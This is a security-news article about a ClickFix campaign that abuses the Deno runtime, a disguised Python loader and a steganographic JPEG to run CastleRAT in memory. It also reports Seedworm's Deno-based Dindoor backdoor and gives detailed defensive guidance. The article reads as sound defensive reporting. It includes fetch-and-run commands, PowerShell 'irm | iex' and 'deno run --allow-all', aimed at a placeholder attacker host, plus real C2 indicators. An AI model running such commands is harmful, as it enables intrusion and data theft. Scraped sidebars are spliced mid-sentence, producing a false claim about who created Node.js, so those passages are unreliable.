Attackers Weaponize Deno JavaScript Runtime to Deploy CastleRAT Entirely in Memory

Security researchers at ThreatDown have documented what they call the first recorded cyberattack to abuse the Deno JavaScript runtime as a malware execution framework—deploying a full-featured remote access Trojan named CastleRAT without ever writing an executable file to disk.

On March 10, 2026, ThreatDown—the corporate business unit of Malwarebytes—published research uncovering a campaign that weaponizes a developer tool most security products are conditioned to trust. The attack was discovered during an active investigation by ThreatDown's Endpoint Detection and Response (EDR) team and is notable not just for what it does, but for how it does it: every stage of the payload executes in RAM. Traditional antivirus engines that rely on scanning files written to disk never get a look at it.

The research was led by Lorenzo Corazzi, Malware Research Engineer at ThreatDown, and the findings represent a meaningful evolution in attacker evasion technique—one that has implications well beyond this single campaign.

What Is Deno and Why Does It Matter Here

Deno is a modern, open-source JavaScript and TypeScript runtime co-created by Ryan DahlContextRyan Dahl created the original Node.js in 2009 and later described publicly regretting several design decisions he made—particularly around the module system and security model. He announced Deno at JSConf EU in 2018 in a talk titled "10 Things I Regret About Node.js," and co-developed it with longtime collaborator Bert Belder. Deno 1.0 shipped in May 2020, followed by Deno 2.0 in October 2024 with full Node.js compatibility. It ships as a single self-contained binary, uses TypeScript natively without a build step, and adopts a permissions model requiring explicit flags to access the filesystem, network, or environment. That security-first framing is exactly what makes its abuse here ironic: the same trust posture that made Deno appealing to developers becomes a liability when security tools extend that trust to whatever the runtime is told to execute. and Bert Belder, the original creator of Node.js. Announced in 2018 and released as version 1.0 in May 2020, Deno is designed with security and simplicity in mind, uses V8 as its JavaScript engine, and ships as a single, self-contained binary. It is code-signed by its publisher, meaning the operating system and many security products recognize it as legitimate, trusted software.

That legitimacy is precisely what makes it useful to attackers. When Deno executes a script, the activity registers under a process that endpoint defenses have no built-in reason to flag. The runtime's own developer-facing features—the ability to fetch remote resources, execute arbitrary scripts, and interact with system APIs—become the attacker's toolkit. No malicious binary is needed. The attacker simply points a trusted process at malicious instructions and lets it run.

The Three-Phase Attack Chain

ThreatDown's research outlines a multi-stage infection process engineered at every step for stealth. The chain has three distinct phases, each designed to hand off execution to the next without triggering file-based detection. Step through each phase below to understand precisely where detection fails.

Phase One: Social Engineering via ClickFix

The attack begins with a ClickFix lureTechnique ContextClickFix was first documented in 2024 and has since spawned at least five named variants: FileFix, JackFix, ConsentFix, CrashFix, and GlitchFix. The core mechanic exploits a gap in how users mentally categorize instructions that come from a website. When a browser displays a page, users treat it as content. When that page tells them to open a terminal and paste something, it has effectively used the browser as a social engineering delivery vehicle that bypasses every technical security control upstream. Email gateways, web proxies, and file scanners are all irrelevant once the user is the execution mechanism.. ClickFix is a social engineering technique in which a malicious web page—often disguised as a browser error message or a CAPTCHA verification prompt—instructs the visitor to copy and paste a command into the Windows Run dialog or a terminal. The command is silently pre-loaded into the user's clipboard; all the victim has to do is paste and press Enter.

This method is effective precisely because it places the execution action in the hands of the user rather than relying on exploiting a software vulnerability. Web filters and email security gateways have no malicious file to inspect. The user is the delivery mechanism.

Microsoft's Threat Intelligence team documented in February 2026 that ClickFix had grown significantly in adoption, spawning named variants including FileFix, JackFix, ConsentFix, CrashFix, and GlitchFix as threat actors adapted the core technique to new lure scenarios. — Microsoft Threat Intelligence, February 2026

ClickFix campaigns have been growing in sophistication. Earlier variants used generic "Human Verification" prompts. Newer campaigns, documented by researchers at Huntress, use full-screen fake Windows Update interfaces that display realistic progress animations before instructing the victim to execute a command. The technique has been adopted by multiple ransomware-affiliated threat actors, including the Interlock ransomware gang (documented by Sekoia in April 2025) and Velvet Tempest (also known as DEV-0504), which was observed deploying CastleRAT via ClickFix in a February 2026 MalBeacon investigation.

Phase Two: Silent Deno Installation and Obfuscated Script Execution

Once the user executes the initial ClickFix command, a script silently downloads and installs the Deno runtime onto the target machine. This is the novel step that earned ThreatDown's "industry first" designation. Rather than installing a malicious binary—something antivirus engines are well-positioned to catch—the attackers install legitimate, code-signed developer software.

With Deno on the machine, the script passes obfuscated JavaScript to the runtime for executionWhy Obfuscation Still MattersEven inside a trusted process, the content of scripts passed to the runtime can trigger heuristic detection if the patterns are recognizable. Obfuscation strips those recognizable patterns—replacing meaningful function names, string literals, and control flow with mathematically equivalent but opaque equivalents. Combined with a trusted host process, obfuscated scripts create a two-layer problem for defenders: the process appears safe, and the code inside it is unreadable without dynamic analysis.. Because the code runs inside a process the operating system recognizes as trustworthy, it inherits elevated privileges and broad system access. Behavioral alarms that might fire on an unknown or unsigned binary executing network calls are far less likely to trigger on a recognizable developer tool doing the same thing.

# Conceptual representation of initial command pattern
# (attacker-controlled, executed via Windows Run dialog)
powershell -w hidden -c "irm https://[attacker-c2]/stage1 | iex"

# Stage 1 silently fetches and installs Deno
# Then invokes obfuscated JS payload via:
deno run --allow-all https://[attacker-c2]/payload.js

The Deno runtime's own permission model—which in developer contexts requires explicit flags like --allow-net or --allow-read—can be bypassed simply by invoking the runtime with --allow-all, granting full system access. This is a legitimate developer flag that has no inherent malicious signature.

Phase Three: The Python Bridge, Steganography, and Reflective PE Loading

The third and final phase is where the actual payload arrives—and it involves an intermediate step that makes the chain significantly more complex than it first appears. The obfuscated Deno script does not inject the final payload directly. Instead, it downloads two things simultaneously: a portable Python environment that has been renamed Petuhon to resemble a legitimate system component, and a JPEG image file named CFBAT.jpg. The renaming of the Python environment is a deliberate misdirection—a process named Petuhon.exe is far less alarming to an analyst or an automated tool than python.exe appearing without an established process lineage.

A highly obfuscated Python script, protected by PyArmorPyArmor: Legitimate Obfuscation as a WeaponPyArmor is a legitimate Python obfuscation tool designed to protect intellectual property in commercial Python applications. It encrypts Python source code and injects a runtime bootstrap that decrypts it during execution. For malware authors, this has an obvious advantage: the script content is not readable by static analysis, and the PyArmor runtime itself is signed and trusted. Defenders looking for recognizable malicious Python patterns in the script file find nothing; the obfuscated version is opaque until it runs. The abuse of legitimate code-protection tools by malware authors is a consistent pattern—the same dynamic that applies to Deno's code-signing applies here. Trust in the tool is the attack surface., reads CFBAT.jpg and extracts the encrypted CastleRAT binary that is hidden inside it. This is the steganographic layerSteganography as a Delivery MechanismSteganography—hiding data within non-secret content—has been used in cyberattacks for years, but its combination with reflective PE loading and a trusted runtime is relatively rare. A JPEG that renders correctly as an image passes inspection at every layer where content is examined by its type rather than its behavior: web proxies, email gateways, and even many sandbox environments log it as an image file and move on. The key insight attackers rely on is that most detection systems classify threats by what a file is, not by what it contains. As long as the steganographic payload isn't extracted and executed on a monitored surface, it's invisible.: to any observer—and to any file scanner—CFBAT.jpg looks like an ordinary image. It renders as one. It has a valid JPEG structure. The encrypted malware payload is concealed inside it.

The PyArmor-protected Python script then injects the extracted payload directly into memory using reflective PE loadingReflective PE Loading ExplainedPortable Executable (PE) files are the standard Windows executable format (.exe, .dll). Normally, the Windows operating system loads these files into memory through a structured process that involves logging them to multiple OS-level accounting mechanisms. Reflective PE loading bypasses this entirely: the malware contains code that acts as its own loader, mapping itself into memory without ever asking the Windows loader to participate. The result is an executable running in RAM with no corresponding file on disk, no entry in many process-level logs, and no file signature for traditional AV to scan. The technique was first publicly described in a 2008 paper by Stephen Fewer and has been used in legitimate penetration testing frameworks ever since—which means defenders have had 16+ years to build detections, yet it remains effective because behavioral monitoring of in-memory execution is computationally expensive and not universally deployed.—a technique in which the payload maps itself into memory without going through the Windows loader and without writing an executable to disk. CastleRAT exists only as allocated memory in a running process. File scanners looking for executables on the hard drive find nothing because there is nothing there to find.

The result is a four-layer evasion stack: a trusted, code-signed Deno process executing obfuscated JavaScript; a disguised Python environment doing the extraction work; a legitimate-looking image file concealing the payload; and a memory-injection technique that never produces a disk artifact. Each layer defeats a different class of detection tool independently. Combined, they produce an infection chain that is effectively invisible to any security product that does not monitor process behavior at runtime.

CastleRAT: What Gets Installed in Memory

The payload delivered by this chain is CastleRAT, a full-featured remote access Trojan. Once it is running in system memory, it provides attackers with comprehensive control over the compromised machine.

ThreatDown's detections for this campaign are cataloged as Trojan.CastleLoader and Trojan.CastleRAT. The loader component (CastleLoader) handles the steganographic decode and reflective injection; CastleRAT is the final payload that establishes the backdoor. The C2 infrastructure observed in this campaign includes dsennbuappec[.]zhivachkapro[.]com (ClickFix C2), serialmenot[.]com (JS loader C2), and IP 172[.]86.123.222 (Python loader C2). Additional known-associated files include clickzpaqkvba.msi, november_block25.vbs, and charlie_script48.ps1. ThreatDown notes that the complete list of file hashes, registry modifications, and YARA rules for detecting CastleRAT (also tracked as NightshadeC2 by eSentire) is available through their Threat Intelligence team.

Marco Giuliani, Vice President and Head of Research at ThreatDown, characterized this as the first documented case of the Deno runtime being weaponized in the wild, noting that legitimate software trusted by security products represents a new class of evasion risk—one that behavioral monitoring, rather than file-based detection, is required to address. — Business Wire, March 10, 2026

The Bigger Picture: LOTL Expands Beyond the OS

Living-off-the-land (LOTL) attacksLOTL: A Brief HistoryThe LOTL category emerged as a formal threat taxonomy around 2015–2017 when security researchers noticed nation-state actors increasingly abandoning custom malware in favor of abusing the Windows toolchain already present on target systems. The logic was simple: defenders build detections for novel binaries; they struggle to distinguish malicious use of PowerShell from legitimate IT administration. CISA, the NSA, and multiple Five Eyes intelligence agencies published a joint advisory on LOTL techniques in 2024, noting that the technique had spread well beyond nation-state actors into ransomware groups and commodity cybercrime. The CastleRAT campaign extends the concept one layer further—if defenders have partially solved LOTL for built-in OS utilities through heavy behavioral monitoring and audit logging, attackers can move to the next trust layer: developer tools that enterprises routinely install and trust by policy. have been a documented threat category for years. The term refers to attackers abusing tools and binaries that are already present on a system—PowerShell, WMI, mshta.exe, certutil.exe—to carry out malicious activity. Because these tools are legitimate and expected to run on Windows systems, detection is inherently harder than catching a novel malicious binary.

The Deno attack represents a conceptual expansion of this technique. Rather than abusing built-in OS utilities, the attackers install a third-party developer framework and abuse it in precisely the same way. ThreatDown characterizes this as an extension of the living-off-the-land model beyond the OS layer into third-party developer frameworks.

This is a meaningful shift. LOTL defenses have historically focused on monitoring specific known Windows binaries for suspicious behavior. If the technique expands to encompass any trusted, code-signed, developer-associated software—and there is no reason it must stop at Deno—the surface area that defenders must monitor grows substantially. Node.js, Python, Go, Rust, and other runtimes and compilers could theoretically serve the same purposeThe Runtime Threat SurfaceEach of these runtimes presents a slightly different risk profile. Python is already extensively used in enterprise environments for automation and data science, making its presence on endpoints common and its anomalous use harder to flag. Node.js shares Deno's V8 engine and similarly enables remote script fetching. Go and Rust produce self-contained compiled binaries—an attacker who compiles a payload on the endpoint using an installed Go toolchain may produce an artifact that looks like legitimate developer output. The pattern that cuts across all of them: any runtime that can download and execute arbitrary code from the network, while appearing as trusted software to the OS and endpoint agents, is a candidate for this category of abuse. The CastleRAT campaign establishes the proof of concept; the question is which runtime gets weaponized next. if an attacker can get them installed and trusted on a target system.

On March 5, 2026, Broadcom's Symantec and Carbon Black Threat Hunter Team published separate research documenting that the Iran-nexus threat actor Seedworm had already been observed deploying a backdoor called "Dindoor" that also runs within the Deno runtime. This suggests that at least two distinct threat actors have identified Deno as a viable execution environment for covert operations, and that the ThreatDown campaign represents an emerging trend rather than an isolated incident.

CastleRAT's History and Connected Threat Actors

CastleRAT is not a new tool. It is associated with the CastleLoader malware loader ecosystem, which has been documented distributing multiple families of RATs and information stealers, including LummaStealer, DeerStealer, RedLine, StealC, and NetSupport RAT. The loader and RAT combination has been connected by researchers to a threat actor codenamed GrayBravo (formerly TAG-150), assessed by Recorded Future's Insikt Group to be operating a Malware-as-a-Service (MaaS) model across four distinct activity clusters. Notably, GrayBravo's C2 infrastructure has been observed using Steam Community profile pages as dead-drop resolvers—a technique that blends C2 lookups with traffic to a platform that many organizations do not block.

Velvet Tempest, also tracked by Microsoft as DEV-0504Velvet Tempest ProfileVelvet Tempest is a ransomware affiliate, not a ransomware developer. Affiliates operate as contractors within the ransomware-as-a-service ecosystem: they handle initial access, lateral movement, and deployment, while paying a percentage of extortion proceeds to the ransomware developer. This model explains Velvet Tempest's unusually broad history of ransomware brands—Ryuk, REvil, Conti, BlackMatter, BlackCat/ALPHV, LockBit, and RansomHub are not the same group; they are the product suites that Velvet Tempest has contracted with over time, going back to Ryuk operations beginning around 2018. The group's willingness to adopt new initial access techniques (now including ClickFix) and new toolchain components (now including CastleRAT) reflects the competitive pressures of a criminal affiliate market where speed and evasion capability are differentiators., is a ransomware affiliate with a history dating back to at least 2018. The group has been associated with some of the most impactful ransomware operations of the past several years, having deployed Ryuk, REvil, Conti, BlackMatter, BlackCat/ALPHV, LockBit, and RansomHub at various points. A MalBeacon investigation published February 26, 2026, observed Velvet Tempest in an emulated U.S. non-profit environment over a 12-day period beginning February 3, 2026. The campaign used a ClickFix lure at a fake CAPTCHA page to trick the user into pasting an obfuscated command that spawned nested cmd.exe chains and used finger.exe—a rarely invoked but built-in Windows utility using TCP port 79—to pull initial loaders. Subsequent stages delivered DonutLoader and then CastleRAT, with the RAT's C2 including the use of Steam Community profile pages as dead-drop resolvers alongside dedicated C2 domains. Termite ransomware was not deployed during the observed window, but the pre-ransomware behavioral pattern—hands-on-keyboard activity, Active Directory enumeration, and credential access—was consistent with a Termite staging operation. MalBeacon notes this was the first public reporting linking ClickFix malvertising to Velvet Tempest. BleepingComputer confirmed the attribution on March 7, 2026. Termite ransomware has previously claimed SaaS provider Blue Yonder and Australian healthcare provider Genea as victims.

The connection between CastleRAT, ClickFix, and ransomware-affiliated threat actors underlines that this is not merely a research curiosity. The toolchain has documented intrusion history against real organizations. The addition of Deno abuse as an execution layer represents an upgrade to that toolchain's evasive capability, not a replacement of it.

Separately, Microsoft's Threat Intelligence team documented a ClickFix variant in February 2026 that stages malware payloads through DNS TXT records, using the nslookup command to retrieve encoded instructions from attacker-controlled DNS infrastructure. This variant allows attackers to blend C2 traffic with ordinary DNS lookups, further complicating network-based detection. The convergence of ClickFix delivery, fileless execution, and unconventional staging mechanisms illustrates how rapidly this threat family is evolving.

Seedworm: The State Actor Already Inside

The ThreatDown article mentions Seedworm only in passing—a single sentence noting that at least one other threat actor had been observed using Deno for similar purposes. That single sentence deserves considerably more attention, because the Seedworm context changes the threat calculus entirely.

Seedworm, also tracked as MuddyWater, Mango Sandstorm, TEMP.Zagros, TA450, and Static Kitten, is a long-running Iranian advanced persistent threat group formally attributed to Iran's Ministry of Intelligence and Security (MOIS) by CISA, the FBI, and the UK's National Cyber Security Centre. The group has been conducting cyber espionage campaigns since at least 2017 and is characterized by rapid adoption of new tools, multi-language malware development, and a consistent focus on intelligence gathering over short-term disruption.

On March 5, 2026, Broadcom's Symantec and Carbon Black Threat Hunter Team published research documenting a Seedworm campaign active since early February 2026—weeks before the ThreatDown CastleRAT disclosure. The targets were not generic enterprise victims. Seedworm had been found on the networks of a U.S. bank, a U.S. airport, a U.S. software company's Israeli operations (the company supplies the defense and aerospace industries), and nonprofit organizations in both the U.S. and Canada.

The Dindoor backdoor—a previously unknown tool, named for its use of the Deno runtime—was found specifically on the networks of the Israeli operations of the defense/aerospace software company, the U.S. bank, and a Canadian nonprofit. It was digitally signed with a certificate issued to an identity named "Amy Cherne," an apparent fabricated persona used to give the malware a veneer of legitimacy. Separately, a Python-based backdoor called Fakeset was found on the U.S. airport network and the U.S. nonprofit network. Fakeset was signed with certificates issued to both "Amy Cherne" and "Donald Gay"—the Donald Gay certificate had been used previously to sign Seedworm-linked malware families including Stagecomp and Darkcomp, providing the forensic attribution chain that linked the campaign back to the group. Fakeset was distributed from servers belonging to the Backblaze cloud storage service, making the delivery traffic blend with ordinary cloud activity.

Alongside the backdoor activity, researchers observed an attempted data exfiltration from the defense/aerospace software company using Rclone—an open-source command-line tool for managing cloud storage—to copy files to a Wasabi cloud storage bucket. Whether the transfer succeeded is not confirmed. The use of legitimate cloud platforms for both payload delivery and exfiltration is a characteristic of Seedworm operations: traffic to Backblaze and Wasabi servers does not trigger the same scrutiny as connections to attacker-controlled infrastructure.

The implication of the Seedworm campaign running in parallel with the GrayBravo/Velvet Tempest CastleRAT campaign is significant: the Deno-as-execution-vehicle technique was not adopted by a single actor and then copied. Within weeks of what ThreatDown has documented as the first recorded use in the wild, a nation-state actor operating under Iranian state intelligence was deploying a distinct Deno-based backdoor against critical infrastructure targets in the United States. Two different categories of threat actor—ransomware-affiliated financial crime and state-sponsored espionage—appear to have arrived at the same evasion technique independently and within the same reporting window. Given that Seedworm's Dindoor campaign began in early February 2026, weeks before the ThreatDown disclosure, direct copying is implausible; what is more likely is parallel convergence on a technique both groups identified as effective.

For organizations in financial services, defense supply chains, aviation, and government-adjacent sectors: the Seedworm disclosure is not background context. It is an active targeting profile that includes your industry, your runtime environment, and your operating system.

What About Environments Where Deno Already Exists?

The defensive recommendations in most coverage of this campaign, including ThreatDown's own guidance, center on a straightforward premise: Deno has no legitimate business use on most corporate endpoints, so detect its installation and treat it as an indicator of compromise. That premise is correct for the typical enterprise endpoint. It does not hold for development-adjacent environments, and the gap is worth naming explicitly.

Software development shops, DevOps teams, cloud infrastructure teams, and internal tooling groups may have Deno legitimately installed on engineer workstations or build servers. In those environments, the binary's presence cannot serve as an IOC. The recommended application control posture—block Deno if it cannot be installed, flag it if it appears—requires a more nuanced adaptation: behavioral alerting must distinguish between Deno running known internal scripts from expected paths versus Deno spawned from an unusual parent process, connecting to an external host, or executing obfuscated code loaded from a remote URL.

Deno's own permission model is relevant here in ways the campaign coverage has not fully engaged with. When Deno is run legitimately, a developer or script explicitly passes permission flags: --allow-net, --allow-read, --allow-run, and so on. A Deno process running with --allow-all—or with a broad combination of permissions passed silently by an installer script—is a meaningful behavioral indicator even in an environment where Deno is a sanctioned tool. Monitoring the arguments passed to Deno at launch, not just its presence on disk, is the detection layer that works in both dev-heavy and standard enterprise environments.

There is also a supply chain question the campaign raises that has not been asked publicly: if attackers can deliver a malicious Deno script through a ClickFix lure, can they deliver one through a compromised package, a poisoned internal script repository, or a dependency chain? The answer is yes in principle, and the detection gap described above would apply equally to that vector. The CastleRAT-via-Deno chain documents the social engineering entry point. The runtime abuse technique it demonstrates is not exclusive to that entry point.

Detection and Defense

ThreatDown states that its behavioral monitoring detects and blocks this attack chain at multiple stages, identifying anomalous process behavior rather than relying on file signatures. The MDR (Managed Detection and Response) team identified the suspicious activity before the attackers achieved their objectives. Specific detection names are Trojan.CastleLoader and Trojan.CastleRAT.

For organizations without behavioral EDR coverage, the attack chain presents a significant detection gap. The following defensive measures are applicable and documented by multiple security researchers:

• Deploy behavioral EDR with runtime-process telemetry: File-signature AV cannot detect this attack chain at any stage. The payload never touches disk. Effective coverage requires an EDR platform that instruments process creation events, in-memory injection activity, and network connections at the kernel level—not just at the file system layer. Specifically, look for products that implement ETW (Event Tracing for Windows) at the process injection level, not just at process creation. ThreatDown's own MDR team caught this chain through behavioral anomaly detection, not signature matching. If your current endpoint product cannot show you what a process is allocating in memory and what remote hosts it is connecting to, it cannot see this attack.
• Instrument Deno launch arguments, not just Deno's presence: In environments where Deno is a sanctioned developer tool, blocking the binary is not viable. The detection layer that works across all environments is monitoring the command-line arguments passed to Deno at invocation. A legitimate developer workflow passes specific, predictable flags to known local script paths. Malicious invocations will typically include --allow-all or broad permission combinations, load scripts from remote URLs rather than local paths, and appear as children of cmd.exe or powershell.exe rather than IDEs or known CI/CD runners. Write EDR or SIEM alert rules on exactly these argument patterns. MITRE ATT&CK T1059.007 (JavaScript) is the relevant sub-technique for hunting queries.
• Apply application control with developer runtime categorization: Standard enterprise allowlisting often exempts code-signed software from scrutiny by default. That exemption is the root cause of this detection gap. Developer runtimes—Deno, Node.js, Python, Go toolchain binaries—should be placed in a separate policy category that permits execution but mandates behavioral alerting rather than silent trust. On Windows, AppLocker or Windows Defender Application Control (WDAC) rules can be configured to allow Deno to run while also flagging any invocation that does not match a known script path or expected parent process. This is more granular than a binary allow/block decision and avoids breaking developer workflows while maintaining visibility.
• Disable or restrict the Windows Run dialog via Group Policy for non-developer users: ClickFix depends on the victim opening the Run dialog (Win+R) or a terminal and pasting a command. For any user population that has no legitimate need for direct command execution—which is the substantial majority of corporate users—disabling the Run dialog via Group Policy (HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun set to 1) removes the primary execution vector. Similarly, restricting PowerShell execution policy to AllSigned or Constrained Language Mode for non-administrative accounts raises the cost of the initial stage significantly. Neither control stops a determined attacker with admin access, but both eliminate the entire ClickFix social engineering vector for the populations most vulnerable to it.
• Deploy DNS monitoring for TXT record abuse and non-standard query patterns: Microsoft documented a ClickFix variant in February 2026 that stages payloads through DNS TXT records, using nslookup to retrieve encoded instructions. This blends C2 traffic with ordinary DNS lookups. Detecting it requires DNS query logging at the resolver level—specifically, alerting on TXT record queries to domains with no business justification, high-entropy subdomains, or newly registered infrastructure. Tools like Cisco Umbrella, Infoblox, or internal DNS logging through Sysmon (Event ID 22) provide the telemetry needed. Correlate DNS anomalies with process lineage: a TXT record query originating from nslookup spawned by powershell.exe is not normal DNS traffic.
• Block steganographic payload retrieval at the proxy or CASB layer: The CastleRAT payload is hidden inside a JPEG retrieved from attacker-controlled infrastructure. Most web proxies and CASB platforms inspect content by MIME type rather than by content analysis. A JPEG passes these checks even when it contains encrypted executable data. Two complementary controls reduce this risk: first, restrict which processes can make outbound HTTP/HTTPS connections (developer runtimes on non-developer endpoints should not be allowed to reach arbitrary external URLs); second, consider deploying a proxy with content inspection that uses entropy analysis rather than MIME type alone—high-entropy image files are a meaningful anomaly indicator. At minimum, ensure outbound connections from processes with no documented network function are logged and alerted on, even if they cannot be blocked in all environments.
• Conduct supply chain and dependency hygiene reviews for Deno and Node.js projects: The ClickFix social engineering entry point is not the only way to deliver a malicious Deno script to a target system. A compromised internal script repository, a poisoned CI/CD pipeline, or a malicious dependency in a Deno module registry could deliver equivalent payloads to development environments where Deno is already trusted and present. Review which internal systems have Deno installed, which users or pipelines can modify Deno scripts that run in those environments, and whether those repositories have integrity verification (signed commits, dependency pinning) in place. This is not a CastleRAT-specific control—it is the standard supply chain hygiene that applies equally to the Dino abuse pattern documented by Seedworm.
• Deliver ClickFix-specific security awareness training with behavioral recognition cues: Generic phishing training does not address ClickFix. The technique does not use malicious email attachments or credential-harvesting pages—it uses a fake browser error or CAPTCHA that instructs the user to take an action they might plausibly believe is required. Training should explicitly teach users that no legitimate website, browser, CAPTCHA service, or IT support workflow will ever ask them to open a Run dialog, paste a command, or execute anything in a terminal as part of normal browsing. Show the specific UI patterns: the fake "Human Verification" prompt, the fake Windows Update overlay, and the clipboard pre-load mechanic. Users who can visually identify the ClickFix pattern are substantially more resistant to it than users who only know to watch for suspicious emails.

The full technical analysis, along with indicators of compromise (IOCs), is available on the ThreatDown blog under the post titled "CastleRAT attack first to abuse Deno JavaScript runtime to evade enterprise security."

Key Takeaways

1. This is documented as an industry first: No prior recorded case of Deno being abused as a malware execution framework in the wild exists before this ThreatDown report, published March 10, 2026. However, Seedworm's Dindoor backdoor—also Deno-based, but a distinct tool deployed against distinct targets—was documented by Broadcom's Symantec on March 5, 2026, meaning the technique was already running against U.S. critical infrastructure before the ThreatDown disclosure brought it to broader attention.
2. The attack chain has four evasion layers, not three: Most coverage describes this as a three-phase attack. The accurate count is four distinct evasion layers operating in sequence: a trusted Deno process executing obfuscated JavaScript; a portable Python environment disguised as a system component ("Petuhon"); a JPEG image (CFBAT.jpg) concealing the encrypted payload via steganography; and reflective PE loading that injects CastleRAT into memory without ever writing an executable to disk. Each layer defeats a different class of detection independently. Defenders whose monitoring stops at the Deno process may miss the subsequent PyArmor-protected Python injection stage.
3. Fileless execution defeats file-based detection: The CastleRAT payload is decrypted in memory and never appears on disk as a recognizable executable. Traditional antivirus products that scan disk-written files cannot detect it. Behavioral EDR coverage monitoring runtime process behavior—not just file creation events—is required.
4. LOTL has expanded to third-party developer frameworks: The implicit security assumption that trusted, code-signed developer software is safe to run does not hold when attackers control what that software is asked to execute. Any runtime or interpreter can be a delivery mechanism. Python's own presence in this specific attack chain compounds this: even organizations monitoring for Deno may not be monitoring for disguised Python processes spawned by the Deno stage.
5. ClickFix is a mature and spreading technique: The social engineering layer that begins this attack chain has spawned named variants (FileFix, JackFix, ConsentFix, CrashFix, GlitchFix), a DNS TXT record staging variant, and full-screen fake Windows Update overlays. It has been adopted by multiple ransomware-affiliated actors and continues to evolve. User training on the specific visual patterns of this technique is a concrete, actionable defense that no technical control replaces.
6. CastleRAT is a comprehensive espionage and theft capability: The payload delivered is not a simple dropper. It provides keylogging via SetWindowsHookEx(), clipboard hijacking, webcam and microphone surveillance via MFEnumDeviceSources(), browser credential and cookie extraction, SSH key theft, Telegram and Discord session token theft, cryptocurrency wallet file extraction, persistent backdoor access via scheduled task VirtualSmokestGuy666, and full remote command execution. These capabilities are consistent with both sustained espionage operations and pre-ransomware intrusion staging.
7. Nation-state actors appear to have independently arrived at the same technique: Seedworm (MuddyWater), formally attributed to Iran's MOIS, deployed Dindoor—a distinct Deno-based backdoor—against U.S. banks, a U.S. airport, defense supply chain companies, and nonprofits beginning in February 2026, weeks before ThreatDown's March 10 disclosure of the GrayBravo/Velvet Tempest campaign. A companion Python backdoor called Fakeset was deployed on additional targets. Rclone-based exfiltration to Wasabi cloud storage was also observed. Because Seedworm's campaign predates the public disclosure of the ThreatDown case, direct copying is implausible. What is more likely is parallel convergence: both threat actor categories independently identified Deno-based execution as an effective evasion approach. That convergence is the signal that typically precedes broad adoption.
8. Certificate forensics matter: Seedworm's use of fabricated certificate identities ("Amy Cherne," "Donald Gay") and reuse of those certificates across Dindoor, Fakeset, Stagecomp, and Darkcomp provided the attribution chain that linked the campaign to MOIS. Certificate reuse is both a detection vector and an operational security failure on the attacker's part. Defenders who collect and analyze certificate metadata across all signed binaries on their networks—not just binaries that trigger other alerts—have a detection surface that signature-based tools do not.

The CastleRAT-via-Deno campaign is a reminder that the attack surface is not fixed. Defenders who have tuned their controls around the known LOTL toolkit of built-in Windows utilities now need to account for the possibility that any legitimate software installed on an endpoint can be turned against them. The Seedworm Dindoor campaign makes that point even more sharply: it was not a criminal affiliate testing a new trick, but an Iranian state intelligence unit running it against critical infrastructure while geopolitical tensions were actively escalating. The question is not whether other developer runtimes will be similarly abused—it is when, by whom, and whether defenders will have the behavioral telemetry in place to see it when it happens.